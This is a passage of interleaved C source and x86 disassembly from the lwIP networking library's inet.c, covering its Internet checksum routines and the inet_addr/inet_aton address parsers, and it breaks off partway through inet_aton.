LWIP_DEBUGF(INET_DEBUG, ("lwip_chksum(%p, %d)\n", (void *)dataptr, len));
for(acc = 0; len > 1; len -= 2) {
c46: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
c4d: eb 19 jmp c68 <lwip_chksum+0x28>
/* acc = acc + *((u16_t *)dataptr)++;*/
acc += *(u16_t *)dataptr;
c4f: 8b 45 08 mov 0x8(%ebp),%eax
c52: 0f b7 00 movzwl (%eax),%eax
c55: 0f b7 c0 movzwl %ax,%eax
c58: 01 45 fc add %eax,0xfffffffc(%ebp)
dataptr = (void *)((u16_t *)dataptr + 1);
c5b: 8b 45 08 mov 0x8(%ebp),%eax
c5e: 83 c0 02 add $0x2,%eax
c61: 89 45 08 mov %eax,0x8(%ebp)
c64: 83 6d 0c 02 subl $0x2,0xc(%ebp)
c68: 83 7d 0c 01 cmpl $0x1,0xc(%ebp)
c6c: 7f e1 jg c4f <lwip_chksum+0xf>
}
/* add up any odd byte */
if (len == 1) {
c6e: 83 7d 0c 01 cmpl $0x1,0xc(%ebp)
c72: 75 1d jne c91 <lwip_chksum+0x51>
acc += htons((u16_t)((*(u8_t *)dataptr) & 0xff) << 8);
c74: 8b 45 08 mov 0x8(%ebp),%eax
c77: 0f b6 00 movzbl (%eax),%eax
c7a: 0f b6 c0 movzbl %al,%eax
c7d: c1 e0 08 shl $0x8,%eax
c80: 0f b7 c0 movzwl %ax,%eax
c83: 89 04 24 mov %eax,(%esp)
c86: e8 85 06 00 00 call 1310 <htons>
c8b: 0f b7 c0 movzwl %ax,%eax
c8e: 01 45 fc add %eax,0xfffffffc(%ebp)
LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: odd byte %d\n", (unsigned int)(*(u8_t *)dataptr)));
} else {
LWIP_DEBUGF(INET_DEBUG, ("inet: chksum: no odd byte\n"));
}
acc = (acc >> 16) + (acc & 0xffffUL);
c91: 8b 45 fc mov 0xfffffffc(%ebp),%eax
c94: 89 c2 mov %eax,%edx
c96: c1 ea 10 shr $0x10,%edx
c99: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
c9d: 8d 04 02 lea (%edx,%eax,1),%eax
ca0: 89 45 fc mov %eax,0xfffffffc(%ebp)
if ((acc & 0xffff0000) != 0) {
ca3: 8b 45 fc mov 0xfffffffc(%ebp),%eax
ca6: 66 b8 00 00 mov $0x0,%ax
caa: 85 c0 test %eax,%eax
cac: 74 12 je cc0 <lwip_chksum+0x80>
acc = (acc >> 16) + (acc & 0xffffUL);
cae: 8b 45 fc mov 0xfffffffc(%ebp),%eax
cb1: 89 c2 mov %eax,%edx
cb3: c1 ea 10 shr $0x10,%edx
cb6: 0f b7 45 fc movzwl 0xfffffffc(%ebp),%eax
cba: 8d 04 02 lea (%edx,%eax,1),%eax
cbd: 89 45 fc mov %eax,0xfffffffc(%ebp)
}
return (u16_t)acc;
cc0: 8b 45 fc mov 0xfffffffc(%ebp),%eax
cc3: 0f b7 c0 movzwl %ax,%eax
}
cc6: c9 leave
cc7: c3 ret
cc8: 90 nop
cc9: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
00000cd0 <inet_chksum_pseudo>:
/* inet_chksum_pseudo:
*
* Calculates the pseudo Internet checksum used by TCP and UDP for a pbuf chain.
*/
u16_t
inet_chksum_pseudo(struct pbuf *p,
struct ip_addr *src, struct ip_addr *dest,
u8_t proto, u16_t proto_len)
{
cd0: 55 push %ebp
cd1: 89 e5 mov %esp,%ebp
cd3: 83 ec 28 sub $0x28,%esp
cd6: 8b 45 14 mov 0x14(%ebp),%eax
cd9: 8b 55 18 mov 0x18(%ebp),%edx
cdc: 88 45 ec mov %al,0xffffffec(%ebp)
cdf: 66 89 55 e8 mov %dx,0xffffffe8(%ebp)
u32_t acc;
struct pbuf *q;
u8_t swapped;
acc = 0;
ce3: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
swapped = 0;
cea: c6 45 ff 00 movb $0x0,0xffffffff(%ebp)
/* iterate through all pbuf in chain */
for(q = p; q != NULL; q = q->next) {
cee: 8b 45 08 mov 0x8(%ebp),%eax
cf1: 89 45 f8 mov %eax,0xfffffff8(%ebp)
cf4: eb 7b jmp d71 <inet_chksum_pseudo+0xa1>
LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): checksumming pbuf %p (has next %p) \n",
(void *)q, (void *)q->next));
acc += lwip_chksum(q->payload, q->len);
cf6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
cf9: 0f b7 40 0a movzwl 0xa(%eax),%eax
cfd: 0f b7 d0 movzwl %ax,%edx
d00: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
d03: 8b 40 04 mov 0x4(%eax),%eax
d06: 89 54 24 04 mov %edx,0x4(%esp)
d0a: 89 04 24 mov %eax,(%esp)
d0d: e8 2e ff ff ff call c40 <lwip_chksum>
d12: 0f b7 c0 movzwl %ax,%eax
d15: 01 45 f4 add %eax,0xfffffff4(%ebp)
/*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): unwrapped lwip_chksum()=%lx \n", acc));*/
while (acc >> 16) {
d18: eb 10 jmp d2a <inet_chksum_pseudo+0x5a>
acc = (acc & 0xffffUL) + (acc >> 16);
d1a: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
d1e: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
d21: c1 e8 10 shr $0x10,%eax
d24: 8d 04 02 lea (%edx,%eax,1),%eax
d27: 89 45 f4 mov %eax,0xfffffff4(%ebp)
d2a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
d2d: c1 e8 10 shr $0x10,%eax
d30: 85 c0 test %eax,%eax
d32: 75 e6 jne d1a <inet_chksum_pseudo+0x4a>
}
if (q->len % 2 != 0) {
d34: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
d37: 0f b7 40 0a movzwl 0xa(%eax),%eax
d3b: 0f b7 c0 movzwl %ax,%eax
d3e: 83 e0 01 and $0x1,%eax
d41: 84 c0 test %al,%al
d43: 74 24 je d69 <inet_chksum_pseudo+0x99>
swapped = 1 - swapped;
d45: b8 01 00 00 00 mov $0x1,%eax
d4a: 2a 45 ff sub 0xffffffff(%ebp),%al
d4d: 88 45 ff mov %al,0xffffffff(%ebp)
acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8);
d50: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
d54: 89 c2 mov %eax,%edx
d56: c1 e2 08 shl $0x8,%edx
d59: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
d5c: 25 00 ff 00 00 and $0xff00,%eax
d61: c1 e8 08 shr $0x8,%eax
d64: 09 d0 or %edx,%eax
d66: 89 45 f4 mov %eax,0xfffffff4(%ebp)
d69: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
d6c: 8b 00 mov (%eax),%eax
d6e: 89 45 f8 mov %eax,0xfffffff8(%ebp)
d71: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
d75: 0f 85 7b ff ff ff jne cf6 <inet_chksum_pseudo+0x26>
}
/*LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): wrapped lwip_chksum()=%lx \n", acc));*/
}
if (swapped) {
d7b: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp)
d7f: 74 19 je d9a <inet_chksum_pseudo+0xca>
acc = ((acc & 0xff) << 8) | ((acc & 0xff00UL) >> 8);
d81: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
d85: 89 c2 mov %eax,%edx
d87: c1 e2 08 shl $0x8,%edx
d8a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
d8d: 25 00 ff 00 00 and $0xff00,%eax
d92: c1 e8 08 shr $0x8,%eax
d95: 09 d0 or %edx,%eax
d97: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
acc += (src->addr & 0xffffUL);
d9a: 8b 45 0c mov 0xc(%ebp),%eax
d9d: 8b 00 mov (%eax),%eax
d9f: 25 ff ff 00 00 and $0xffff,%eax
da4: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += ((src->addr >> 16) & 0xffffUL);
da7: 8b 45 0c mov 0xc(%ebp),%eax
daa: 8b 00 mov (%eax),%eax
dac: c1 e8 10 shr $0x10,%eax
daf: 25 ff ff 00 00 and $0xffff,%eax
db4: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (dest->addr & 0xffffUL);
db7: 8b 45 10 mov 0x10(%ebp),%eax
dba: 8b 00 mov (%eax),%eax
dbc: 25 ff ff 00 00 and $0xffff,%eax
dc1: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += ((dest->addr >> 16) & 0xffffUL);
dc4: 8b 45 10 mov 0x10(%ebp),%eax
dc7: 8b 00 mov (%eax),%eax
dc9: c1 e8 10 shr $0x10,%eax
dcc: 25 ff ff 00 00 and $0xffff,%eax
dd1: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (u32_t)htons((u16_t)proto);
dd4: 0f b6 45 ec movzbl 0xffffffec(%ebp),%eax
dd8: 89 04 24 mov %eax,(%esp)
ddb: e8 30 05 00 00 call 1310 <htons>
de0: 0f b7 c0 movzwl %ax,%eax
de3: 01 45 f4 add %eax,0xfffffff4(%ebp)
acc += (u32_t)htons(proto_len);
de6: 0f b7 45 e8 movzwl 0xffffffe8(%ebp),%eax
dea: 89 04 24 mov %eax,(%esp)
ded: e8 1e 05 00 00 call 1310 <htons>
df2: 0f b7 c0 movzwl %ax,%eax
df5: 01 45 f4 add %eax,0xfffffff4(%ebp)
while (acc >> 16) {
df8: eb 10 jmp e0a <inet_chksum_pseudo+0x13a>
acc = (acc & 0xffffUL) + (acc >> 16);
dfa: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
dfe: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
e01: c1 e8 10 shr $0x10,%eax
e04: 8d 04 02 lea (%edx,%eax,1),%eax
e07: 89 45 f4 mov %eax,0xfffffff4(%ebp)
e0a: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
e0d: c1 e8 10 shr $0x10,%eax
e10: 85 c0 test %eax,%eax
e12: 75 e6 jne dfa <inet_chksum_pseudo+0x12a>
}
LWIP_DEBUGF(INET_DEBUG, ("inet_chksum_pseudo(): pbuf chain lwip_chksum()=%lx\n", acc));
return ~(acc & 0xffffUL);
e14: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
e17: f7 d0 not %eax
e19: 0f b7 c0 movzwl %ax,%eax
}
e1c: c9 leave
e1d: c3 ret
e1e: 89 f6 mov %esi,%esi
00000e20 <inet_chksum>:
/* inet_chksum:
*
* Calculates the Internet checksum over a portion of memory. Used primarely for IP
* and ICMP.
*/
u16_t
inet_chksum(void *dataptr, u16_t len)
{
e20: 55 push %ebp
e21: 89 e5 mov %esp,%ebp
e23: 83 ec 28 sub $0x28,%esp
e26: 8b 45 0c mov 0xc(%ebp),%eax
e29: 66 89 45 ec mov %ax,0xffffffec(%ebp)
u32_t acc;
acc = lwip_chksum(dataptr, len);
e2d: 0f b7 45 ec movzwl 0xffffffec(%ebp),%eax
e31: 89 44 24 04 mov %eax,0x4(%esp)
e35: 8b 45 08 mov 0x8(%ebp),%eax
e38: 89 04 24 mov %eax,(%esp)
e3b: e8 00 fe ff ff call c40 <lwip_chksum>
e40: 0f b7 c0 movzwl %ax,%eax
e43: 89 45 fc mov %eax,0xfffffffc(%ebp)
while (acc >> 16) {
e46: eb 10 jmp e58 <inet_chksum+0x38>
acc = (acc & 0xffff) + (acc >> 16);
e48: 0f b7 55 fc movzwl 0xfffffffc(%ebp),%edx
e4c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
e4f: c1 e8 10 shr $0x10,%eax
e52: 8d 04 02 lea (%edx,%eax,1),%eax
e55: 89 45 fc mov %eax,0xfffffffc(%ebp)
e58: 8b 45 fc mov 0xfffffffc(%ebp),%eax
e5b: c1 e8 10 shr $0x10,%eax
e5e: 85 c0 test %eax,%eax
e60: 75 e6 jne e48 <inet_chksum+0x28>
}
return ~(acc & 0xffff);
e62: 8b 45 fc mov 0xfffffffc(%ebp),%eax
e65: f7 d0 not %eax
e67: 0f b7 c0 movzwl %ax,%eax
}
e6a: c9 leave
e6b: c3 ret
e6c: 8d 74 26 00 lea 0x0(%esi),%esi
00000e70 <inet_chksum_pbuf>:
u16_t
inet_chksum_pbuf(struct pbuf *p)
{
e70: 55 push %ebp
e71: 89 e5 mov %esp,%ebp
e73: 83 ec 18 sub $0x18,%esp
u32_t acc;
struct pbuf *q;
u8_t swapped;
acc = 0;
e76: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
swapped = 0;
e7d: c6 45 ff 00 movb $0x0,0xffffffff(%ebp)
for(q = p; q != NULL; q = q->next) {
e81: 8b 45 08 mov 0x8(%ebp),%eax
e84: 89 45 f8 mov %eax,0xfffffff8(%ebp)
e87: eb 69 jmp ef2 <inet_chksum_pbuf+0x82>
acc += lwip_chksum(q->payload, q->len);
e89: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
e8c: 0f b7 40 0a movzwl 0xa(%eax),%eax
e90: 0f b7 d0 movzwl %ax,%edx
e93: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
e96: 8b 40 04 mov 0x4(%eax),%eax
e99: 89 54 24 04 mov %edx,0x4(%esp)
e9d: 89 04 24 mov %eax,(%esp)
ea0: e8 9b fd ff ff call c40 <lwip_chksum>
ea5: 0f b7 c0 movzwl %ax,%eax
ea8: 01 45 f4 add %eax,0xfffffff4(%ebp)
while (acc >> 16) {
eab: eb 10 jmp ebd <inet_chksum_pbuf+0x4d>
acc = (acc & 0xffffUL) + (acc >> 16);
ead: 0f b7 55 f4 movzwl 0xfffffff4(%ebp),%edx
eb1: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
eb4: c1 e8 10 shr $0x10,%eax
eb7: 8d 04 02 lea (%edx,%eax,1),%eax
eba: 89 45 f4 mov %eax,0xfffffff4(%ebp)
ebd: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
ec0: c1 e8 10 shr $0x10,%eax
ec3: 85 c0 test %eax,%eax
ec5: 75 e6 jne ead <inet_chksum_pbuf+0x3d>
}
if (q->len % 2 != 0) {
ec7: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
eca: 0f b7 40 0a movzwl 0xa(%eax),%eax
ece: 0f b7 c0 movzwl %ax,%eax
ed1: 83 e0 01 and $0x1,%eax
ed4: 84 c0 test %al,%al
ed6: 74 12 je eea <inet_chksum_pbuf+0x7a>
swapped = 1 - swapped;
ed8: b8 01 00 00 00 mov $0x1,%eax
edd: 2a 45 ff sub 0xffffffff(%ebp),%al
ee0: 88 45 ff mov %al,0xffffffff(%ebp)
acc = (acc & 0x00ffUL << 8) | (acc & 0xff00UL >> 8);
ee3: 81 65 f4 ff ff 00 00 andl $0xffff,0xfffffff4(%ebp)
eea: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
eed: 8b 00 mov (%eax),%eax
eef: 89 45 f8 mov %eax,0xfffffff8(%ebp)
ef2: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
ef6: 75 91 jne e89 <inet_chksum_pbuf+0x19>
}
}
if (swapped) {
ef8: 80 7d ff 00 cmpb $0x0,0xffffffff(%ebp)
efc: 74 19 je f17 <inet_chksum_pbuf+0xa7>
acc = ((acc & 0x00ffUL) << 8) | ((acc & 0xff00UL) >> 8);
efe: 0f b6 45 f4 movzbl 0xfffffff4(%ebp),%eax
f02: 89 c2 mov %eax,%edx
f04: c1 e2 08 shl $0x8,%edx
f07: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
f0a: 25 00 ff 00 00 and $0xff00,%eax
f0f: c1 e8 08 shr $0x8,%eax
f12: 09 d0 or %edx,%eax
f14: 89 45 f4 mov %eax,0xfffffff4(%ebp)
}
return ~(acc & 0xffffUL);
f17: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
f1a: f7 d0 not %eax
f1c: 0f b7 c0 movzwl %ax,%eax
}
f1f: c9 leave
f20: c3 ret
f21: eb 0d jmp f30 <inet_addr>
f23: 90 nop
f24: 90 nop
f25: 90 nop
f26: 90 nop
f27: 90 nop
f28: 90 nop
f29: 90 nop
f2a: 90 nop
f2b: 90 nop
f2c: 90 nop
f2d: 90 nop
f2e: 90 nop
f2f: 90 nop
00000f30 <inet_addr>:
/* Here for now until needed in other places in lwIP */
#ifndef isascii
#define in_range(c, lo, up) ((u8_t)c >= lo && (u8_t)c <= up)
#define isascii(c) in_range(c, 0x20, 0x7f)
#define isdigit(c) in_range(c, '0', '9')
#define isxdigit(c) (isdigit(c) || in_range(c, 'a', 'f') || in_range(c, 'A', 'F'))
#define islower(c) in_range(c, 'a', 'z')
#define isspace(c) (c == ' ' || c == '\f' || c == '\n' || c == '\r' || c == '\t' || c == '\v')
#endif
/*
* Ascii internet address interpretation routine.
* The value returned is in network order.
*/
/* */
/* inet_addr */
u32_t inet_addr(const char *cp)
{
f30: 55 push %ebp
f31: 89 e5 mov %esp,%ebp
f33: 83 ec 28 sub $0x28,%esp
struct in_addr val;
if (inet_aton(cp, &val)) {
f36: 8d 45 fc lea 0xfffffffc(%ebp),%eax
f39: 89 44 24 04 mov %eax,0x4(%esp)
f3d: 8b 45 08 mov 0x8(%ebp),%eax
f40: 89 04 24 mov %eax,(%esp)
f43: e8 18 00 00 00 call f60 <inet_aton>
f48: 85 c0 test %eax,%eax
f4a: 74 08 je f54 <inet_addr+0x24>
return (val.s_addr);
f4c: 8b 45 fc mov 0xfffffffc(%ebp),%eax
f4f: 89 45 ec mov %eax,0xffffffec(%ebp)
f52: eb 07 jmp f5b <inet_addr+0x2b>
}
return (INADDR_NONE);
f54: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp)
f5b: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
f5e: c9 leave
f5f: c3 ret
00000f60 <inet_aton>:
/*
* Check whether "cp" is a valid ascii representation
* of an Internet address and convert to a binary address.
* Returns 1 if the address is valid, 0 if not.
* This replaces inet_addr, the return value from which
* cannot distinguish between failure and a local broadcast address.
*/
/* */
/* inet_aton */
int inet_aton(const char *cp, struct in_addr *addr)
{
f60: 55 push %ebp
f61: 89 e5 mov %esp,%ebp
f63: 83 ec 48 sub $0x48,%esp
u32_t val;
int base, n;
char c;
u32_t parts[4];
u32_t* pp = parts;
f66: 8d 45 dc lea 0xffffffdc(%ebp),%eax
f69: 89 45 fc mov %eax,0xfffffffc(%ebp)
c = *cp;
f6c: 8b 45 08 mov 0x8(%ebp),%eax
f6f: 0f b6 00 movzbl (%eax),%eax
f72: 88 45 fb mov %al,0xfffffffb(%ebp)
for (;;) {
/*
* Collect number up to ``.''.
* Values are specified as for C:
* 0x=hex, 0=octal, isdigit=decimal.
*/
if (!isdigit(c))
f75: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
f79: 3c 2f cmp $0x2f,%al
f7b: 76 08 jbe f85 <inet_aton+0x25>
f7d: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
f81: 3c 39 cmp $0x39,%al
f83: 76 0c jbe f91 <inet_aton+0x31>
return (0);
f85: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
f8c: e9 78 02 00 00 jmp 1209 <inet_aton+0x2a9>
val = 0; base = 10;
f91: c7 45 ec 00 00 00 00 movl $0x0,0xffffffec(%ebp)
f98: c7 45 f0 0a 00 00 00 movl $0xa,0xfffffff0(%ebp)
if (c == '0') {
f9f: 80 7d fb 30 cmpb $0x30,0xfffffffb(%ebp)
fa3: 75 36 jne fdb <inet_aton+0x7b>
c = *++cp;
fa5: 83 45 08 01 addl $0x1,0x8(%ebp)
fa9: 8b 45 08 mov 0x8(%ebp),%eax
fac: 0f b6 00 movzbl (%eax),%eax
faf: 88 45 fb mov %al,0xfffffffb(%ebp)
if (c == 'x' || c == 'X')
fb2: 80 7d fb 78 cmpb $0x78,0xfffffffb(%ebp)
fb6: 74 06 je fbe <inet_aton+0x5e>
fb8: 80 7d fb 58 cmpb $0x58,0xfffffffb(%ebp)
fbc: 75 16 jne fd4 <inet_aton+0x74>
base = 16, c = *++cp;
fbe: c7 45 f0 10 00 00 00 movl $0x10,0xfffffff0(%ebp)
fc5: 83 45 08 01 addl $0x1,0x8(%ebp)
fc9: 8b 45 08 mov 0x8(%ebp),%eax
fcc: 0f b6 00 movzbl (%eax),%eax
fcf: 88 45 fb mov %al,0xfffffffb(%ebp)
fd2: eb 07 jmp fdb <inet_aton+0x7b>
else
base = 8;
fd4: c7 45 f0 08 00 00 00 movl $0x8,0xfffffff0(%ebp)
}
for (;;) {
if (isascii(c) && isdigit(c)) {
fdb: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
fdf: 3c 1f cmp $0x1f,%al
fe1: 76 3b jbe 101e <inet_aton+0xbe>
fe3: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
fe7: 78 35 js 101e <inet_aton+0xbe>
fe9: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
fed: 3c 2f cmp $0x2f,%al
fef: 76 2d jbe 101e <inet_aton+0xbe>
ff1: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
ff5: 3c 39 cmp $0x39,%al
ff7: 77 25 ja 101e <inet_aton+0xbe>
val = (val * base) + (c - '0');
ff9: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
ffc: 89 c2 mov %eax,%edx
ffe: 0f af 55 ec imul 0xffffffec(%ebp),%edx
1002: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax
1006: 8d 04 02 lea (%edx,%eax,1),%eax
1009: 83 e8 30 sub $0x30,%eax
100c: 89 45 ec mov %eax,0xffffffec(%ebp)
c = *++cp;
100f: 83 45 08 01 addl $0x1,0x8(%ebp)
1013: 8b 45 08 mov 0x8(%ebp),%eax
1016: 0f b6 00 movzbl (%eax),%eax
1019: 88 45 fb mov %al,0xfffffffb(%ebp)
101c: eb bd jmp fdb <inet_aton+0x7b>
} else if (base == 16 && isascii(c) && isxdigit(c)) {
101e: 83 7d f0 10 cmpl $0x10,0xfffffff0(%ebp)
1022: 0f 85 99 00 00 00 jne 10c1 <inet_aton+0x161>
1028: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
102c: 3c 1f cmp $0x1f,%al
102e: 0f 86 8d 00 00 00 jbe 10c1 <inet_aton+0x161>
1034: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
1038: 0f 88 83 00 00 00 js 10c1 <inet_aton+0x161>
103e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
1042: 3c 2f cmp $0x2f,%al
1044: 76 08 jbe 104e <inet_aton+0xee>
1046: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
104a: 3c 39 cmp $0x39,%al
104c: 76 20 jbe 106e <inet_aton+0x10e>
104e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
1052: 3c 60 cmp $0x60,%al
1054: 76 08 jbe 105e <inet_aton+0xfe>
1056: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
105a: 3c 66 cmp $0x66,%al
105c: 76 10 jbe 106e <inet_aton+0x10e>
105e: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
1062: 3c 40 cmp $0x40,%al
1064: 76 5b jbe 10c1 <inet_aton+0x161>
1066: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
106a: 3c 46 cmp $0x46,%al
106c: 77 53 ja 10c1 <inet_aton+0x161>
val = (val << 4) |
106e: 8b 45 ec mov 0xffffffec(%ebp),%eax
1071: 89 c2 mov %eax,%edx
1073: c1 e2 04 shl $0x4,%edx
1076: 89 55 c4 mov %edx,0xffffffc4(%ebp)
1079: 0f be 45 fb movsbl 0xfffffffb(%ebp),%eax
107d: 83 c0 0a add $0xa,%eax
1080: 89 45 c8 mov %eax,0xffffffc8(%ebp)
1083: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
1087: 3c 60 cmp $0x60,%al
1089: 76 11 jbe 109c <inet_aton+0x13c>
108b: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
108f: 3c 7a cmp $0x7a,%al
1091: 77 09 ja 109c <inet_aton+0x13c>
1093: c7 45 cc 61 00 00 00 movl $0x61,0xffffffcc(%ebp)
109a: eb 07 jmp 10a3 <inet_aton+0x143>
109c: c7 45 cc 41 00 00 00 movl $0x41,0xffffffcc(%ebp)
10a3: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
10a6: 2b 45 cc sub 0xffffffcc(%ebp),%eax
10a9: 0b 45 c4 or 0xffffffc4(%ebp),%eax
10ac: 89 45 ec mov %eax,0xffffffec(%ebp)
(c + 10 - (islower(c) ? 'a' : 'A'));
c = *++cp;
10af: 83 45 08 01 addl $0x1,0x8(%ebp)
10b3: 8b 45 08 mov 0x8(%ebp),%eax
10b6: 0f b6 00 movzbl (%eax),%eax
10b9: 88 45 fb mov %al,0xfffffffb(%ebp)
} else
break;
}
10bc: e9 1a ff ff ff jmp fdb <inet_aton+0x7b>
if (c == '.') {
10c1: 80 7d fb 2e cmpb $0x2e,0xfffffffb(%ebp)
10c5: 75 35 jne 10fc <inet_aton+0x19c>
/*
* Internet format:
* a.b.c.d
* a.b.c (with c treated as 16 bits)
* a.b (with b treated as 24 bits)
*/
if (pp >= parts + 3)
10c7: 8d 45 dc lea 0xffffffdc(%ebp),%eax
10ca: 83 c0 0c add $0xc,%eax
10cd: 3b 45 fc cmp 0xfffffffc(%ebp),%eax
10d0: 77 0c ja 10de <inet_aton+0x17e>
return (0);
10d2: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
10d9: e9 2b 01 00 00 jmp 1209 <inet_aton+0x2a9>
*pp++ = val;
10de: 8b 55 fc mov 0xfffffffc(%ebp),%edx
10e1: 8b 45 ec mov 0xffffffec(%ebp),%eax
10e4: 89 02 mov %eax,(%edx)
10e6: 83 45 fc 04 addl $0x4,0xfffffffc(%ebp)
c = *++cp;
10ea: 83 45 08 01 addl $0x1,0x8(%ebp)
10ee: 8b 45 08 mov 0x8(%ebp),%eax
10f1: 0f b6 00 movzbl (%eax),%eax
10f4: 88 45 fb mov %al,0xfffffffb(%ebp)
} else
break;
}
10f7: e9 79 fe ff ff jmp f75 <inet_aton+0x15>
/*
* Check for trailing characters.
*/
if (c != '\0' && (!isascii(c) || !isspace(c)))
10fc: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
1100: 74 3e je 1140 <inet_aton+0x1e0>
1102: 0f b6 45 fb movzbl 0xfffffffb(%ebp),%eax
1106: 3c 1f cmp $0x1f,%al
1108: 76 2a jbe 1134 <inet_aton+0x1d4>
110a: 80 7d fb 00 cmpb $0x0,0xfffffffb(%ebp)
110e: 78 24 js 1134 <inet_aton+0x1d4>
1110: 80 7d fb 20 cmpb $0x20,0xfffffffb(%ebp)
1114: 74 2a je 1140 <inet_aton+0x1e0>
1116: 80 7d fb 0c cmpb $0xc,0xfffffffb(%ebp)
111a: 74 24 je 1140 <inet_aton+0x1e0>
111c: 80 7d fb 0a cmpb $0xa,0xfffffffb(%ebp)
1120: 74 1e je 1140 <inet_aton+0x1e0>
1122: 80 7d fb 0d cmpb $0xd,0xfffffffb(%ebp)
1126: 74 18 je 1140 <inet_aton+0x1e0>
1128: 80 7d fb 09 cmpb $0x9,0xfffffffb(%ebp)
112c: 74 12 je 1140 <inet_aton+0x1e0>
112e: 80 7d fb 0b cmpb $0xb,0xfffffffb(%ebp)
1132: 74 0c je 1140 <inet_aton+0x1e0>
return (0);
1134: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
113b: e9 c9 00 00 00 jmp 1209 <inet_aton+0x2a9>
/*
* Concoct the address according to
* the number of parts specified.
*/
n = pp - parts + 1;
1140: 8b 55 fc mov 0xfffffffc(%ebp),%edx
1143: 8d 45 dc lea 0xffffffdc(%ebp),%eax
1146: 89 d1 mov %edx,%ecx
1148: 29 c1 sub %eax,%ecx
114a: 89 c8 mov %ecx,%eax
114c: c1 f8 02 sar $0x2,%eax
114f: 83 c0 01 add $0x1,%eax
1152: 89 45 f4 mov %eax,0xfffffff4(%ebp)
switch (n) {
1155: 83 7d f4 04 cmpl $0x4,0xfffffff4(%ebp)
1159: 0f 87 8b 00 00 00 ja 11ea <inet_aton+0x28a>
115f: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
1162: c1 e0 02 shl $0x2,%eax
1165: 8b 80 08 14 00 00 mov 0x1408(%eax),%eax
116b: ff e0 jmp *%eax
case 0:
return (0); /* initial nondigit */
116d: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
1174: e9 90 00 00 00 jmp 1209 <inet_aton+0x2a9>
case 1: /* a -- 32 bits */
break;
case 2: /* a.b -- 8.24 bits */
if (val > 0xffffff)
1179: 81 7d ec ff ff ff 00 cmpl $0xffffff,0xffffffec(%ebp)
1180: 76 09 jbe 118b <inet_aton+0x22b>
return (0);
1182: c7 45 c0 00 00 00 00 movl $0x0,0xffffffc0(%ebp)
1189: eb 7e jmp 1209 <inet_aton+0x2a9>
val |= parts[0] << 24;
118b: 8b 45 dc mov 0xffffffdc(%ebp),%eax
118e: c1 e0 18 shl $0x18,%eax
1191: 09 45 ec or %eax,0xffffffec(%ebp)
break;
1194: eb 54 jmp 11ea <inet_aton+0x28a>
case 3: /* a.b.c -- 8.8.16 bits */
if (val > 0xffff)
1196: 81 7d ec ff ff 00 00 cmpl $0xffff,0xffffffec(%ebp)
119d: 76 09 jbe 11a8 <inet_aton+0x248>
return (0);
